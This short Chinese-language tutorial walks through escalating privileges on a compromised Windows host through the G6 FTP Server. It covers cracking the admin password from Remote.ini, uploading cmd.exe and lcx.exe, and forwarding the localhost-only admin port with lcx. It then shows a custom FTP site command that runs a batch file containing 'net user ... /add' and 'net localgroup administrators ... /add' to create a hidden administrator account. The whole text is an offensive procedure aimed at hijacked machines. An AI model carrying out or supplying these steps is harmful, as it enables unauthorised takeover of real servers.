0x00 G6-FTP简介
G6 FTP Server 新一代的 FTP 服务器端软件，支持 RFC-959 标准并增强其中的某些功能，上传和下载都可以续传，实时查看运行状态，占用带宽，还有很多功能。
G6-FTP的默认端口为
8021，只侦听在127.0.0.1的8021端口上，所以无法从外部直接访问，需要进行端口转发（使用lcx 工具（lcx 具有三个功能：监听、转发、端口转向））。
0x01 提权关键
使用lcx时必须保证两个前提，肉鸡A和内网机C都能够访问到外网机B；listen监听的端口之前不能被其它程序占用。
0x02 提权步骤
步骤
1、下载配置文件Remote.ini，将administrator管理密码解密
用cmd5 破解
2、查找该网站的可读可写目录，然后上传cmd.exe和lcx.exe到该目录下
3、利用lcx端口转发 默认只允许本机连接
lcx.exe -tran 8027 127.0.0.1 80214、以管理员用户登录客户端
转发成功后，通过g6ftp软件进行连接，以管理员用户登入
5、创建用户并权限设置
6、上传批处理文件
adduser.bat中的文件内容为：即新建一个用户名为quan的用户，并且加入到管理员组中。
net user quan quan123 /add
net localgroup administrators quan /add7、在g6ftp软件中加入批处理命令
site commands-> +
Command:ADDUSER
Excute:
8、普通用户登录ftp
9、执行所加入的批处理命令
执行命令quote site adduser.bat